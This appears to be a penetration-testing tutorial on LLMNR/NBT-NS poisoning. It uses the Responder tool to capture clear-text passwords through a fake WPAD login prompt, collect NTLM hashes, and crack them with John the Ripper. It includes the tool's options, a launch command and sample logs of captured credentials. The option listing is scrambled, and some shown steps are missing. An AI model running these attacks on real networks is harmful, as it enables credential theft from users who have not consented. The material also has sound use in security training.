LLMNR/NBT-NS poisoning is a technique that allows the attacker to steal credentials and NTLM hashes from network communications.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are two components of Microsoft Windows machines. LLLMNR was introduced in Windows Vista and is the successor to NBT-NS.

They are both seemingly innocuous components which allow machines on the same subnet help each other identify hosts when DNS fails. So, if one machine tries to resolve a particular host, but DNS resolution fails, the machine will then attempt to ask all other machines on the local network for the correct address via LLMNR or NBT-NS.

NBT-NS is a comparative convention with LLMNR that meets a similar need. The fundamental distinction between the two is that NBT-NS only works over IPv4.

For this demonstration we are going to execute the attack using the *Responder* tool:

Available at: https://github.com/lgandx/Responder

Responder Configuration

Responder is a tool that allow us to configure the attack to our needs with a lot of execution options:

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Usage: python Responder.py -I eth0 -w -r -f
python Responder.py -I eth0 -wrf
Options:
                                 show program's version number and exit
    -version
                                 show this help message and exit
Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
  -h, --help
-A, --analyze
  -I eth0, --interface=eth0
                                 wildcard for all interfaces
  -i 10.0.0.21, --ip=10.0.0.21
  Local IP to use
-e 10.0.0.22, --externalip=10.0.0.22
                                 Poison all requests with another IP address than
                                 Responder's one
  -b, --basic
                                 Return a Basic HTTP authentication. Default: NTLM
  -r, --wredir
                              Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
                                 network. Default: False
                                Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
  -d, --NBTNSdomain
                                 on the network. Default: False
This option allows you to fingerprint a host that
  -f, --fingerprint
                                 issued an NBT-NS or LLMNR query
  -w, --wpad
                                 Start the WPAD rogue proxy server. Default value is
                                 False
  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                                Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)
Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default:
  -F, --ForceWpadAuth
                                 Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with
  -P, --ProxyAuth
                                 -r. Default: False
                                 Force LM hashing downgrade for Windows XP/2003 and
                                 earlier. Default: False
                                 Force ESS downgrade. Default: False
   --disable-ess
  -v. --verbose
                                 Increase verbosity.
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We are going to try two different configurations. In the first one, we will force the tool to present a login prompt to the user, which allow us to gather clear-text passwords. In the second one, we are going to gather NTLM hashes without the need of the introduction of credentials by the user. Lastly, we will try to crack those hashes with *John The Ripper*.

For the first execution we going to use a false WPAD server and force NTLM authentication:

When the user tries to access a website, our fake WPAD server takes action. A login prompt is displayed on screen:



On the Responder window, we can see how the attack was made by the web proxy and the clear-text credentials:

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[*] [NBT-NS] Poisoned answer sent to 192.168.0.235 for name WPAD (service: Workstation/Redirector)

[HTTP] User-Agent : Mozilla/4.0 (compatible; MSIE 6.0; Win32)

[HTTP] Basic Client : 192.168.0.235

[HTTP] Basic Username : PSEL

[HTTP] Basic Password : password

[*] [NBT-NS] Poisoned answer sent to 192.168.0.235 for name PROXYSRV (service: Workstation/Redirector)
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In the second execution we are going to use the -r option, that enables answers for NetBIOS wredir suffix queries, and -P, that stablishes an authentication proxy and forces victims to authenticate by NTLM or Basic Authentication.

When the user tries to access a website, the credentials are gathered by the proxy server:

Following credentials were gathered from a SMB connection attempt:

Hash Cracking

We can use several tools to crack passwords, but we are showing it with *John The Ripper*. We have to specify the hash file as parameter and, optionally, the hash format. Show option it to show only successfully cracked hashes:

We see how Responder saves credentials in different files depending on the source from which they were gathered.